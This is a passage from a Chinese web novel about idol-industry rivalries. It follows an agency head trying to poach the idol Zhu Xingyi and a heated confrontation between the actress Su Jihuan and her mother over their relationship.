许明歌赶忙转悠半圈，迅速跑回来说：“不在不在。” 叶松萝瞪着眼开始拆花墙。 还没把一朵花摘下，身后响起一声厉喝。 “给我住手！” 叶松萝停下动作转头一看，一个红发女人踩着长筒高跟靴快步走了过来。女人身后还跟着几个女人，气势汹汹的。 红发女人穿着无袖格子露脐上衣，下。身是裹臀皮裙，时髦得很，不知道的还以为是新女团成员。她身后那群女人的打扮也十分惹眼，比如奇奇怪怪的绿毛粉毛…… 红发女人一过来就是浓重的香水味，她画着全包眼线，眼睫毛根根分明，唇釉涂得像是随时能掐出水来。 她瞪了一眼叶松萝，声量拔高，“当着我的面拆我cp？这位lo娘，你知道这面花墙花了我多少钱吗？” 许明歌被这气势镇住了，忍不住问：“多……多少？” “八万。” 第84章 她被我伤了 “八万！”许明歌扯着嗓子喊道，“你花八万买个花墙？！你这脑子是被门夹了吧，肯定被坑了呀！” 红发女人则不紧不慢地转过头，朝着身旁的几个女人呲着大牙笑，随后她故意用手捂着嘴假装小声地和身边人嘀咕着什么。 叶松萝越看越觉得不舒服，“你们cp粉能不能圈地自萌啊？你也不看看这是什么场合，艺域周年庆来的媒体那么多，cp花墙放在这里像什么话？” 乔汐甩了下那头红发，戴了许多叮当乱响的首饰的手叉着腰，毫不在意道：“她们都没说什么，你在这担心个什么劲儿，真是女皇不急丫鬟急。” “你！！” “好啦好啦，我没空跟你掰扯。我这个花墙价值八万块，你要是敢搞破坏，我马上报警抓你。”乔汐不知道从哪里掏出一张邀请函，在叶松萝面前晃了晃，“作为被艺域邀请的嘉宾，我得赶紧进去和星星见面了，回见了宝贝。” 叶松萝觉得不对劲，忙叫住她。 乔汐转过身子，“怎么？你也想进去？不过，没有邀请函就别白日做梦了。” “你是cp粉也是嘉宾？” “不然呢？” “你叫什么名字？”叶松萝隐隐觉得面前的人的身份有点耳熟。 乔汐也没隐瞒，瞄了两眼叶松萝的jsk懒洋洋答道：“我叫乔汐，记下了吗？” 叶松萝愣神儿的功夫，乔汐和那群头发花花绿绿的人走远了。 “乔汐……”叶松萝找了个阴凉地儿搜索乔汐的信息。 许明歌率先把乔汐的信息搜了出来，小声惊呼：“这个乔汐小时候去过考瑞亚当过练习生呢。” 叶松萝翻看着乔汐的信息，13岁去考瑞亚当过两年的练习生，后来回国专注学业考了华媒编导系，现在是研一在读。 乔汐家里条件宽裕，又是苏寄欢和祝星亦的cp粉，前段时间《寄明月》首播时，这个乔汐花了50万包一小时的大屏播放苏寄欢和祝星亦的cp混剪视频。 富婆cp粉啊。 叶松萝坐在木椅上继续搜索乔汐的信息，搜着，乔汐的微博号映入眼帘。 四百万粉丝…… 叶松萝对这个粉丝量略感惊讶，点进账号，转赞评数据都高得很，再看评论区的内容，除了cp粉的奇怪发言，剩下的便是赞美乔汐。 她又刷了下乔汐的微博内容，多是优质的内容产出和活动策划。 人美又多金，粉丝自然少不了，更何况还是高产出的cp粉，难怪那么猖狂。 “萝妹，她看起来很不好惹……”许明歌对这些打扮太过潮流的人第一印象就是不好惹。 比如苏寄欢的粉丝，又比如这个乔汐。 这个乔汐的打扮张扬得像祝星亦，穿搭风格还有那头红发，实在抓人眼。 “自古以来，唯*粉和cp粉势不两立，但好在她也在给星星提供价值，我倒要看看她还会搞什么名堂。”叶松萝关掉手机挪到那面花墙前，端详许久，狠狠踢了花束装置一脚。 /// “星星，你要坐容总身边了。” “今年优秀员工是你诶，也不知道你会得什么奖。” “艺域那么抠，谁知道会塞什么东西，别是马尔代夫七日游这种无趣的奖励。” 宴会开始前，Shinyfive的几人坐一起聊天。 《寄明月》爆火后，Shinyfive的热度涨了不少，艺域借着祝星亦的热度和资源给四人安排了许多通告，也是省了许多力。 费若澄起身仰头四顾了番，赶忙坐下跟几人耳语：“我说这容总真不公平，姚斯狄今年才出道就得优秀员工了，都是C位，怎么姚斯狄就能得，我们星星去年却得不了。” 姚斯狄，年初选秀男团的top1。 “兴许是因为我是风荇的艺人。”祝星亦猜测道。 夏诗晴为祝星亦鸣不平：“可是姚斯狄也不是艺域的人啊，我听说容总等着把姚斯狄签过来，容总说姚斯狄未来可期，别看现在人气一般，以后就会火。” 林芮佳扑哧一声笑了，“容总就是看星星爆火了，觉得姚斯狄也会火。可是星星能火是靠自己争取来的机会，姚斯狄张嘴等艺域喂饭，那能一样吗？” “容总把姚斯狄当宝了呗，觉得他后劲大，还说以后人气绝对碾压星星。” “星星，等下你千万别给他们好脸色，说不定还会故意针对你。” 祝星亦点头应着：“我会注意些。” 宴会快开始时，祝星亦前往指定座席。 刚过去，迎面走来容羽珍。 容羽珍眯着眼睛过来拉住祝星亦的手，热切聊天，“Stella～好久不见，我这段时间忙也没空找你聊天，你不要怪罪。” 祝星亦握住她的手笑说：“容总哪里的话，您是大忙人，脚不沾地是常有的事，和你见一面我都很知足了。” 容羽珍翘着唇角，拉着祝星亦到席位上坐下，“S～tella～，你怎么能这么说呢？你现在才是大忙人，我想见你一面都难呢。” 她收了收下巴，轻笑一声，“你是不是要和苏小姐一起去ilmeth试镜了？苏小姐也真是的，她做这个老师未免也太负责了。” “试镜是有，但成功的几率要看ilmeth那边的决定。” 容羽珍帮祝星亦整理下裙子，亲昵道：“你有苏小姐在，成功还是不成功，你都有别的选择，relax，ok？倒是你的师妹师弟，可就没有你这么好的机会了。” 她蹙起眉头，似乎在责怪祝星亦，又似乎在羡慕祝星亦。桌上的人依次跟她问好，她笑着点头，那些人依次落座。 “Darioehere～”容羽珍冲一个头发跟被狗舔似的男人招招手，那男人笑一笑便坐了过来。 “容总好。”姚斯狄先是跟容羽珍问好，再跟祝星亦问好，“师姐好。” 祝星亦打量姚斯狄，这个男人她只见过几次。 毕竟她也算是时下很火的流量小花，每天不是跑线下通告就是进组、录综艺，哪里有闲心见这个被容羽珍放在手心里捧的男人。 姚斯狄问过好后笑着跟祝星亦搭话，两人中间隔着容羽珍，容羽珍身子往姚斯狄那里歪去，时不时插几嘴。 “师姐，听说你要参加《外乡人》的试镜了，提前祝你试镜成功啊。”姚斯狄道。 祝星亦懒懒掀起眼皮子道：“我谢谢你啊。” 姚斯狄：“师姐，你觉得做演员和做。爱豆哪个更好？” 祝星亦斜坐着，一手放在桌子上，一手搭在膝盖上，流畅的下巴微扬，声音散漫得很，又带着一丝微妙的嘲讽，“不知道啊，我哪个都能做得很好。爱豆要看唱跳综合能力，演戏嘛……纯天赋咯。” “怎么，你想要做演员？”祝星亦拖着长长的腔调问了声，手指缓慢敲击桌面。 姚斯狄勾唇笑说：“不管是爱豆还是歌手、舞者，做演员肯定是最好的归宿。如果能有机会，我自然是想要尝试做演员的。” 他转过头，温顺地望着容羽珍道：“容总这么用心培养我，我定是要用尽全力回报容总才是。” 听到这一番话，容羽珍捂着胸口，简直要热泪盈眶了。她握住姚斯狄的手轻轻拍了拍，“Dario，培养你是我应该做的。你是毫无争议的第一，我当然要尽全力让你拥有更多。艺域是你的舞台，你想要实现的梦想，我都会为你实现。” “容总，谢谢你。”姚斯狄眸子湿润了，“我会更努力的。” “哦，Dario～”容羽珍看到姚斯狄的脸心都化了，“我选择你果然没有错，对了ico的代言宣传片过几天要拍了，但是你的脸……” 姚斯狄摸了摸自己的脸道：“怎么了吗？” 容羽珍心疼道：“怎么有些憔悴呢？” “近期WithSeven演唱会有些忙碌，这是咱们团队第一次演唱会，我作为队长有些着急。”姚斯狄叹道，“又怕辜负粉丝期待，所以每天都睡得很晚。” “Dario……”容羽珍眉心蹙了起来，心也揪成了一团，“你真的好辛苦，让你一个人扛起整个团，我真的是太愧疚了。等演唱会结束了，我给你订机票，你出国玩一段时间。” “容总，不用了，我还是更想投入到工作之中。” “你也太懂事了Dario。” 看着这两个人，祝星亦厌烦地移开眼。 同样是选秀冠军，对比初初成团的数据，即便祝星亦的热度更高，容羽珍都没有这样对她说过好话。 演唱会……Shinyfive成团一年半了，都没有听说艺域有给Shinyfive办演唱会的想法。 至于个人代言，祝星亦现在拥有的代言都是苏寄欢牵的线，艺域只会争取团队代言，并不想提升她的个人商业价值。 祝星亦喝了口茶，身子往后靠去，冷眼看着二人一唱一和。 “Stella，我最近看到个本子，瞧着女主很适合你，就买下来了。”容羽珍跟姚斯狄说完话，又把话题转到祝星亦身上，“这个本子我可是花了大价钱买的，是一个热门ip。” 祝星亦挑了一侧眉，容羽珍这么好心了？ 容羽珍拿起杯子跟祝星亦碰了碰，“我是说假如，你试镜《外乡人》万一失败的话，就来演这个本子。我们艺域还没拍过自制剧，所以第一次拍肯定要多多投入，也希望由咱们艺域的人演。” 容羽珍见祝星亦不吭声，继续笑着说：“虽说还有一年多你就不是艺域的人了，但既然你在艺域一天，也还是我的家人，我自会好好待你。” “谢谢容总，不过，请问这个本子是什么本子呢？” 看祝星亦有意向，容羽珍便道：“《予风说》，这本文热度很高，我想你应该有听说过。” 祝星亦愣愣地转过脑袋。 《予风说》？ 这本现言小说是出了名的虐女、厌女文，原著作者更是直言讨厌女主，恨女主没为男主付出更多。祝星亦虽没看过，但正常读者的吐槽不计其数。 原著中，女主因意外和男主相遇，男主因女主像白月光，便对女主进行强制爱。女主多次逃离无效，男主常常羞辱女主，还致使女主流产、家人去世。不久，白月光回归，跟女主雌竞不说，还导致女主出车祸。 后来男主意识到自己喜欢女主，低头后，轻轻松松把女主挽回。但因女主流产后无法生育，男主和别的女人生了孩子带回来养，并表示女主无法为他生孩子是一个遗憾。 逆天。 作者到底是在什么精神状态下写这本书的？ 容羽珍看祝星亦还在愣着，忙说：“Stella，你不知道这部小说吗？很火的，我很喜欢看。我真的超喜欢男主厉之风，上位者为爱低头的追妻火葬场，我太爱了。” 祝星亦咋舌。 为爱低头？ 是指厉之风一言不合就要杀了女主吗？ 追妻火葬场？ 女主司芊芊都半只脚踏进火葬场了好吧。 祝星亦深吸一口气，笑说：“是吗？我没听说过呢，可能是因为我不爱看这种小说。” “你若没看过，我晚点把原著拿给你。” “谢谢容总。”祝星亦颔首道，又问：“自制剧的话，是不是剧里的角色都由艺域的人饰演？” “自然是。” 祝星亦便问：“那男主是……” 容羽珍拍拍祝星亦的手，笑道：“自然是要Dario来演男主，你们二人都是我的骄傲，我哪里舍得要你们演配角。” 容羽珍说着，意有所指道：“Stella，你时至今日，都没有演过女主角呢。即便《外乡人》试镜成功，也是苏小姐演女主，你演女配。演配角终究不是长久之计，不如演女主啊。” 祝星亦默声不语。 容羽珍握住祝星亦的手，声音放软：“Stella～旁人对你再好，那也是外人。若真是待你好，为何不为你牵线主角剧呢？拉着你做配，不过为了让你托衬她的好罢了。” “Stella～艺域才是你的家，你可要审时夺度，别分不清谁好谁坏。”容羽珍弯唇笑笑，“剧已经立项了，目前还在招商，过不久就要选角了。你是我们艺域最优秀的孩子，我当然要把女主留给你。” “立项了？”祝星亦不自觉抓着裙子。 这种剧本都能过审？ “是啊，另外，我们还获得了[晏影］的投资。晏小姐之前说她很看好你，也对我们艺域赞誉有加，既然获得了她的投资，我们自然不能辜负她。”容羽珍用好奇的眼光凝视祝星亦，“Stella，你和晏小姐关系怎么样？我没见过你和她有多接触，但她对你评价很高呢。” 祝星亦思索了会儿，紧皱的眉头忽然松了许多，“之前去《姐敲门》结识的，有过愉快的相处。” 容羽珍了然道：“[晏影］愿意和我们艺域交好，我自然希望你能和晏小姐关系更好点。不过你是苏小姐的学生，我也不好多说什么，但是，谁能给你提供演主角的机会，你自是要多表示什么。所以Stella，《予风说》的女主角，你……” “可以啊，我确实缺少女主剧本。”祝星亦探了下身子，冲姚斯狄举杯，“那到时候多多关照了，小姚。” “师姐演艺经验丰富，届时还要师姐多多指点。”姚斯狄举杯道。 容羽珍忙说：“对对，你到时候还要做Dario的老师呢，你可要多多指导他。” “知道了，容总。”祝星亦淡淡笑道。 宴会结束后，容羽珍拉着祝星亦去往偏厅。 二人落座，孙闵莉也跟着进来坐下。 门关上，容羽珍温和道：“Stella，自你得冠ShinyfiveC位出道，你的表现我一直看在眼里。你是我们艺域商业价值提升最快的艺人，这是我没有想到的。虽然你还是风荇的人，但我也很开心你能为我们艺域做出巨大的贡献。” 孙闵莉打开电脑，播放艺域艺人商业价值的PPT。 对比艺域的其他艺人，祝星亦商业价值在成团后直线上升，以一己之力拉高了艺域的平均值。 “Stella，你为我们艺域奉献这么多，我当然也要表达我的诚意。”容羽珍与孙闵莉对视，孙闵莉当即切换一个PPT。 祝星亦望去，是艺域给她做的职业规划。 “这是……”祝星亦心有疑惑。 容羽珍神色从容道：“我决定帮你从风荇解约，签到我艺域旗下。你签到我手里，我会着重培养你，至于Shinyfive，即便有解约的一日，我也不会亏待她们几人，可好？” /// 新应区到了夏末景色更佳，白日山峦翠色欲流，山间的湖与江波光粼粼。待夜幕降临，山月相映，湖水幽深，颇有一番意境。 苏芙打着哈欠取下安全带，虽然才晚上八点，她奔波得太疲惫，已经昏昏欲睡。 “我今晚在这里歇息，你跟阿姨聊完天也得赶紧歇着。”苏芙侧过头同副驾的苏寄欢道。 苏寄欢轻轻应了声：“知道了，只是我不清楚妈妈为什么大晚上的喊我过来。” “兴许只是聊聊公司的事儿。”苏芙开门步入电梯处按下按键，“你过不久就要试镜《外乡人》，若是拿不到费琳这个角色，这边还有《萍水相逢》《可爱的她》这几个好本子。ilmeth的戏本来就难抢，你不用太过焦虑。更何况……” 苏芙叹了口气，“ilmeth本就与我们关系一般，也没有必要非对她们抱有希望。” “我对出演《外乡人》抱的希望本就不大，我只是想和她一起进组。”电梯到了，苏寄欢随苏芙进去，“你还不知道ilmeth那波人吗？都随了她们的林总，个个趾高气昂，看不起自家艺人以外的艺人。若是星星入了她们剧组，少不了被她们为难。” 苏芙自是了然，但这在名利面前不过过眼云烟。被骂被看低，换来高票房和奖项，值了。 “如果她被选上而我没有被选上，我试试能不能讨个小角色客串一下。”苏寄欢沉声说。 苏芙讶异：“你去演小角色？你认真的吗？你们二人对比对比，你拿到角色的胜率更大啊？安宁再是个配角，那也是一堆人抢着要演，小祝她才有多少资历？她……” “你不要说她。”苏寄欢扬眉望去，嗓音里压着不满，“ilmeth选角又不只是看资历，星星她演技好，近期正火，我瞧那林总也点赞了星星相关话题，就说明她对星星有所关注。” 苏芙冷笑一声道：“那我问你，林总点赞了什么？她点赞你和她的cp粉像蝗虫过境，天天屠热搜，她点赞大V批评那个小孩闹事，她点赞非科班出身的流量爱豆抢占科班出身的演员的市场，逼得科班演员无剧可演。” 走出电梯，苏寄欢脚步迟缓了些。 末了，她转头瞪了苏芙一眼，冷冷道：“哦，那又怎样？怎么，你也要批评她吗？” 苏芙瞳孔紧缩，迈了一步到苏寄欢跟前儿，声量陡然提高：“我？我批评她了吗？臭鸭头你说话能不能讲点理？她本就没那么高的竞争力，我说句实话还有错了？我告诉你……” 苏寄欢打断她：“你别告诉我了，还没开始试镜你就在这泼冷水。她前几天拿了艺域优秀员工奖，你记得包份红包给她。” “什么？！怎么又是我？不儿，你不能总逮着一个人薅啊！” 苏寄欢快步往苏菱的书房走去，随意敷衍道：“你快回去歇息，我去找我妈妈。” “你这个死鸭头！”苏芙站在走廊上气得直跺脚，她惹苏寄欢了吗？怎么次次都被苏寄欢这样欺负？ “就你星星宝贝了是吧？！说也说不得！” “你知道就好。” 苏寄欢的声音在走廊里回荡。 “苏寄欢！！你太过分了！！” / “妈？” 苏寄欢推门而入。 苏菱在书桌前坐着，瞧见人来了，抬手道：“坐。” 落座，苏寄欢开门见山：“妈，找我来有什么事？” “你过段时间就要试镜《外乡人》了？”苏菱淡声问。 “是。” 苏菱斜坐着盯着电脑看了眼，“小祝也试镜？” “是。” “你和她对比，谁的胜率大？” “五五开。” 苏菱似笑非笑盯着苏寄欢看，苏寄欢见状不解其意。 “怎么了？”苏寄欢忙问。 苏菱找她到底所为何事，她尚不可知，但见苏菱开口问这事，想来是和星星有关。 苏菱深吸一口气，嘴角拉开一个戏谑的弧度，“现在看来，你和她对比，1：9。你1，她9。” 1：9？ 听苏菱这么说，苏寄欢竟然松了口气，看来苏菱已经先一步从ilmeth获得一手消息。星星的胜率更大的话，那就说明ilmeth那边更看重星星的流量。 即便还没有开始试镜，她也为祝星亦感到开心。 看苏寄欢脸上风轻云淡，苏菱不禁皱了皱眉，问：“怎么，你很高兴？” 苏寄欢由衷道：“确实是为她感到开心。” 苏菱见苏寄欢这般模样，冷嘲道：“你高兴得太早了。” 她抽起一旁的ipad，点开资料库的文件给苏寄欢看。 “这是什么？”苏寄欢问。 苏菱摇头叹道：“雅雅，你知道晏氏那边要投资艺域的事吗？” “投资艺域？”苏寄欢确实才知道这件事，没想到晏瑾年竟然开始对艺域下手，“艺域怎么了吗？” 苏菱看苏寄欢被蒙在鼓里的模样，恨铁不成钢道：“艺域怎么了？你的好学生马上就要跟风荇解约，然后去签约艺域了？你还问我怎么了？” 苏菱抬手敲敲桌面，声音森然：“苏雅雅，那孩子一个字都没跟你说吗？晏氏集团要入股艺域，她也会签约艺域，日后她就是为晏家卖命。另外，晏瑾年带资和ilmeth谈条件，她要投资《外乡人》。晏瑾年除了要演主角费琳，还要指定艺域的艺人演安宁一角。” “而艺域的意向是要你的乖徒出演安宁。”苏菱一想到祝星亦的选择便压不下自己的脾气，声音提高了不少，“苏雅雅，这就是你乖徒的选择。晏瑾年的巴掌都到家门口了，你还在这里什么都不知道？！” 苏菱尖锐的声音在房间里来回穿梭，撞在墙壁上又弹回，高分贝的质问让整个房间的空气都跟着震颤。 苏寄欢呆坐在椅子上，许久，颤抖着嘴唇说：“不可能……不可能。” 大脑空白许久，思维也停滞了。 怎么可能？怎么可能？ 她今天还在跟祝星亦说哪天去提车，还分享了麓城一些新开的美食店。 怎么可能就要签约艺域，还要跟晏瑾年搭戏了？ 不可能，不可能。 哪里出错了？ “不可能，她当初不是这样跟我说的。”苏寄欢的手不受控制地抖动着，“她当初说要跟风荇解约然后签约[苏盛］，她说两年内会带着Shinyfive一起签约[苏盛］。” “当初？”苏菱的声音陡然拔高，她一边吼着，一边双手紧握，因为用力过度，指关节都泛出了白色，拧着的眉毛满是恨铁不成钢的愤懑，“苏雅雅，你被她骗了你知道吗？！” “她不会骗我的。”苏寄欢抖着唇，发着细微的颤音，“星星她不可能骗我，她说过她要签约[苏盛］。” 苏菱气急了，拍着桌子要苏寄欢去看资料，“你要是不信你就看看，看是我骗了你还是她骗了你！” 第85章 谁是舔狗 【本章后有两个番外，记得看，另，今天1月11日，是星星生日哦～～星星生日快乐！】 /// 点开文件夹里的资料，苏寄欢快速扫了几眼赶忙关掉。她把ipad扔到一旁，压住紊乱的气息缓缓坐下。 苏菱的目光落在她眼里，是无声的嘲讽和责备。 “妈，这里面肯定有误会，我相信星星没有欺骗我。”苏寄欢的手搭在腿上，不受控制地抖起来，她尽力让自己的声音听起来平静些，“虽说晏氏要入股艺域，但入股又不代表艺域归晏氏管理。晏氏无权过问艺域的艺人，毕竟容羽珍也不是吃素的。” “艺域身后是普源集团，容羽珍再怎么服软也不会被晏氏控制。即便星星真的选择签约艺域，也不代表她会是晏瑾年的人。”苏寄欢抓着衣裙缓缓跟苏菱解释，她刚刚确实是有些着急失了态，但帮祝星亦辩白让她冷静不少。 她不清楚祝星亦为什么置当初麓湖畔的承诺于不顾，那时这个可怜的孩子求着她护佑她，哭着说的签约也好，想成师徒也罢，一见祝星亦的眼泪她就莫名心疼，便什么都不顾地应允。 苏寄欢有时也很想责怪祝星亦总是逼她、绑架她，但她觉得祝星亦一点错都没有。 与人建立关系是个痛苦的过程，说你好很难，说再见也难。但主动建立羁绊的那个人，必须对所有的结果负责。 很久之前，她听说祝星亦在《周，友》后台和厉肆起了争执，她主动致电节目导演陈茗萱。确认真相后，她开口，希望陈茗萱尽量压下纷争，并保下祝星亦。 她到现在都想不起来那时她是带着什么样的心情去跟陈茗萱提出这个请求。 但她确定，她提出请求是因为陈茗萱说的那句话。 “那个祝星亦暴躁得要把厉肆生吞活剥，说什么都要再给厉肆几拳，天啊，这性格在娱乐圈里会被搞死的！” 太过有棱角的人并不会被这个社会善待，社会还是圈子，都无比需要圆滑、世故的人。 人们也更喜欢被驯服过的漂亮人偶，足够美丽，足够温顺。 可是，可是。 散发着光芒的星星，本就有棱角。 她不喜欢一潭死水，她喜欢有刺的人。 因为她的过去也是锋芒毕露、浑身是刺。 因为她也清楚有棱角的人会被怎样伤害。 所以，她选择了这只锋利如刃、敏感多疑、孤独无依、过分抗拒亲密关系的狐狸。 她选择了祝星亦，她给了她一些过界的情感，于是她对她依赖、忌恨、怨怼。 她也知道她会面对数不胜数的摩擦、争执、猜忌、对立…… 但。 但。 是她建立了羁绊，她便要承担起祝星亦的荣辱、喜怒哀乐、爱与恨、忠诚与背叛。 “另外，如果她真的对我有隐瞒，她肯定有自己的理由。”苏寄欢硬扯着嘴角说。 她的言辞太过笃定，但她满心的不确定。 只是她不想让别人说一切都是祝星亦的不对。 她需要等待祝星亦的解释。 苏菱扬起泛着青灰的脸，声音尖锐刺耳：“苏雅雅，你这么相信她吗？你真以为她和你成为师徒，就会老老实实签约[苏盛］对你言听计从吗？别傻了，她的目的从来都不单纯。” “妈，凡事讲究个先来后到。”苏寄欢垂着眼，声线冷硬，“最初建立师徒关系的是我，是我要求她成为我的学生。后来她以签约[苏盛］的承诺来延续我和她的关系，但我从未想过拿那些东西做交换。” “之于我，这段师徒关系，干干净净，不掺杂任何杂质。之于她，她即便不履行那个承诺……”她颤着乌黑的长睫抬眸，浅褐色眼珠聚着绵绵的光，“那又怎样？承诺本就有口无心，一无字据二无录音，她即便否认即便失约，那又怎样？” “另外……”苏寄欢涣散的目光缓缓聚中，忽然笑出声，“若是她真的抱了不单纯的心思，我很高兴。” 雾霭浮在漆黑的夜里，朦胧闷热的世界裹住沉默的对视。书房的灯光好似黯淡了许多，无力地洒在苏菱和苏寄欢身上。 沉默着，连呼吸都欲要震颤得人跌落在地。 苏菱铁青的脸色愈发冷峻，她紧抿着嘴唇，短暂压下苏寄欢说出的字句。 母亲最懂女儿，她早就意识到了什么。 但她也后悔没有及时阻止。 她更后悔看着那个女人的脸便也跟着自己的宝贝女儿相信了那番话。 “你和她到什么地步了。”苏菱佯装平静开口，“肌肤之亲？” 苏寄欢清声哂笑，灯光在她脸上勾勒出淡淡的轮廓。 “何止。” 随后，书页划破空气。 一本精致的书擦过她的额头砸落至地面。 砰—— “你这个蠢货！”苏菱双手用力拍在桌子上嘶吼起来，很快，她起身，高高扬起手臂一巴掌狠狠扇在苏寄欢毫无防备的脸上，“你知不知道你在说什么！” 啪—— 清脆的巴掌声在寂静的空间里回荡，苏寄欢的脸颊瞬间浮现出一个通红的掌印，她的头被打得偏向一侧，几缕发丝凌乱地遮住了眼睛。 但她什么都没说，仍是安静地坐在椅子上。 苏菱攥着拳头试图让自己的声音冷静下来，她张张嘴巴，又紧紧绷着。 比起倔强的反驳，沉默更让她痛心。 她好像太久没有和自己的宝贝女儿推心置腹谈过一次了。 从回国后，从创建[苏盛］后，苏菱一直在忙于壮大[苏盛］。无论是维护圈子还是拉帮结派，苏菱一直在尽全力巩固[苏盛］和苏寄欢的地位。 一味地仰仗别人、依附别人，只会成为利益的牺牲品。 任何人都一样，任何时候都一样。 弱小是可耻的，忘记过去也是可耻的。 她以为苏寄欢会永远记得过去，然后永远心无旁骛地向前走。 她对她充满信心，却不想因为疏于管教，她居然沦落至此。 她为了一个女人忤逆她。 她为了一个满嘴谎言的吸血鬼忤逆她。 “苏寄欢，你以前给我承诺的什么，你都忘了吗？”苏菱压着怒意，一字一顿道，“你一路走过来有多么不容易，你自己忘了吗？” “我没有忘，从来都没有忘。”苏寄欢缓缓且清晰道，“但，妈，我再过几个月就29岁了，我有资格选择……” “你有个屁的资格！”苏菱只觉得苏寄欢这番话太过可笑，她沉着脸，声音似裹挟着冰碴直直刺向苏寄欢，“你一路走到现在，要为了一个不知道打什么主意的骗子断送自己的前程吗？你怎么就这么糊涂！” 苏寄欢仰头，眼中透着几分执拗，不卑不亢地开口：“妈，您别太敏感，星星她绝不是您想的那种人。您总不能觉得全世界的人都要害我吧？” 苏菱一听这话更是火冒三丈，她额头上青筋微微凸起，提高了音量吼着：“苏寄欢，你也说你马上29岁了，怎么，你还想像16、17岁那样幼稚地相信别人，然后被害得一无所有吗？当年吃过的亏，你都忘得一干二净了？” “她怎么害我？”苏寄欢声音骤冷，她利落地站起身来，居高临下地轻轻俯视着苏菱，“她无权无势，在这个圈子里，她能依靠的只有我。她能拿什么害我？靠她那偏心到离谱的公司？还是靠她那单纯得没心眼，在外面总被别人欺负的性格？妈，我比她大8岁，您怎么能说出她会害了我这种话？您不觉得这些话要是传出去，会让别人笑掉大牙吗？” 她一边说着一边扬起下巴，几缕发丝从脸颊旁滑落，更添了几分冷艳。 “没心眼？被欺负？她只有你？”苏菱气得胸脯剧烈起伏，她伸出手指用力点着空气，冲着苏寄欢喊：“苏寄欢，到底是你蠢还是她蠢？你以为她真没心眼？你觉得只有你在帮她吗？你觉得她只靠你才走到今天这一步吗？” “不然呢？”苏寄欢眼神愈发冰冷，声音仿佛是从牙缝中挤出，“难道不是我？难道不是？我对她而言至关重要，难道不是我？她若是蠢，我就多帮她，她若是不蠢，若是有心眼会算计，我为她感到骄傲。” 言罢，她长腿一伸踢了下旁边的椅子，“哐当”一声闷响，她利落地抽身几步走到苏菱身边。 她俯身单手拿起茶壶行云流水般倒了杯茶，双手稳稳地递给苏菱，眼神却并未看向对方，声音低沉暗哑：“妈，如今管理运营[苏盛］的人是我，您早就没有权力过问我的私事了。” 苏菱见状，脸上一阵白一阵红，她怒从心头起，抬手一把夺过茶杯狠狠泼在苏寄欢脸上。 茶水顺着苏寄欢的脸颊滑落，浸湿了衣领。 紧接着，苏菱手一扬将杯子狠狠摔在地上。 “啪”的一声，碎片四溅，似是在发出严厉的警告。 “苏寄欢，你以为我拿她，拿你，没有办法？” 苏寄欢却只是眼皮都没眨一下，她脸上还挂着几片茶叶，头发湿漉漉地贴在脸颊旁，额头的血渍已经干涸，衬得她肤色愈发白皙。 “如果您有办法，就不会找我这一趟了。”苏寄欢顿了顿，轻轻呼出一口气，继续说，“我会找她问清楚，但，妈，我早就已经不是那个需要您保护的小孩子，同样的，我想和谁亲近，已经不需要跟您打报告。” 听着苏寄欢的话，苏菱呼吸愈发急促。她嘴唇颤抖着，咬着牙说：“苏寄欢，她到底哪里好，你到底看上她什么？[苏盛］旗下那么多女人，你为什么偏偏选择一个外人！” 苏寄欢轻声笑了出来，“外人？她是我的学生，她也曾叫过您一声‘妈妈’，她是我除血亲外最亲密的人，您怎么能说她是外人？” 苏菱被这话气得一屁股坐在椅子上，她头痛欲裂，无力地开口：“苏寄欢，很好，很好，是我太惯着你了。” “您的反省来得太晚了。”苏寄欢转过身去，脊背挺得笔直，“我是不会眼睁睁看着您对她动手的，您要是尊重我的选择，那就当这件事没发生过。否则……” 她微微侧头，眼中闪过一抹决绝。 苏菱心头一紧，警惕地问：“否则什么？” “否则，耽于爱情，我可是会夜夜笙歌，无心工作的。”苏寄欢说得云淡风轻，却又掷地有声。 “苏寄欢！！！”苏菱气得破了音。 “好好休息，别带着情绪入睡。”苏寄欢踩着高跟鞋走向书房门，临到门口，她侧着身子，脸上露出一抹微笑，“妈，晚安。” /// 天蒙蒙亮，苏芙被饿醒了。 她打着哈欠去二楼客厅拿吃的，盘腿坐在沙发上刚拆开一袋半熟芝士，转头瞄到阳台处站着一个虚影。 “鸭头？”苏芙咬了一口半熟芝士嚼了两下，瞪大了眼问：“你这么早就起来了？” 烟雾腾升的阳台，苏寄欢两根苍白的指夹着根烟，猩红的光淹没在熹微的晨光里。 苦淡的烟味入鼻，苏芙觉得不太对劲*，“你怎么了？怎么黑眼圈都出来了？昨晚睡很晚？” “没有。”苏寄欢抬手深深吸了口，缓缓吐出烟雾，“睡很早。” “别诓我，阿姨昨天跟你聊了什么？” “小事。” “当真？” 苏寄欢倚着栏杆静立在烟雾里，沉寂的眸子毫无颜色，“当真。你干什么？饿了？” “是啊。” “我过几天带星星提车，你要跟着吗？” 苏芙疑惑：“我为什么跟着？怎么？你又想要我掏钱了？” “我没这样说。”苏寄欢夹着烟望向远方，不辨情绪。 苏芙打了个哈欠移了下步子，“今天还要跟你去找星星送红包，我先回去继续睡。” “今天不去找她。”苏寄欢垂着眼说，“你可以回去睡懒觉了。” 苏芙纳闷：“啊？为什么？” “没有为什么。”苏寄欢走到一旁按灭了烟，“提车那天再过去找她。” 苏芙带着疑问睡了回笼觉，之后接连几日都不见苏寄欢去找祝星亦。 她觉得奇怪，问金允声苏寄欢是不是和祝星亦吵架了。 金允声回忆了下道：“没吧，可能是最近老板比较忙，没空去找祝小姐。” “她忙什么啊忙？”苏芙对苏寄欢的行动感到匪夷所思，苏寄欢除了要试镜《外乡人》还有别的事要忙吗？ 只是她也奇怪，怎么苏寄欢不去找祝星亦，祝星亦也不来找苏寄欢了呢？ 苏芙去打听祝星亦这几天在干什么，还没打听到祝星亦的消息，倒打听到风荇和艺域的消息。 “艺域要告风荇？”苏芙难以置信地看着朋友发的消息。 多处打听了番，苏芙才知道艺域是想签祝星亦才要和风荇打官司。 艺域利用当初祝星亦签艺域的代运营合同的漏洞告了风荇，风荇到底是小公司，再怎么也不能跟艺域掰手腕，大概率赢不了这场官司。 苏芙好奇这个祝星亦到底是不是真的打算签艺域，不然光艺域在那里出面处理，肯定是不行的。 “鸭头，星星签艺域的事你知道不知道？”苏芙寻到苏寄欢问。 苏寄欢平静地翻着剧本说：“不知道。” “星星没跟你说啊？” “过两天直接问不就行了？” 苏芙隐隐约约察觉到不太对劲，多嘴问了一句：“你和星星是不是吵架了？” “没有。” “那……” “你还有事吗？”苏寄欢脑袋稍稍一偏，递来一个不耐烦的眼神。 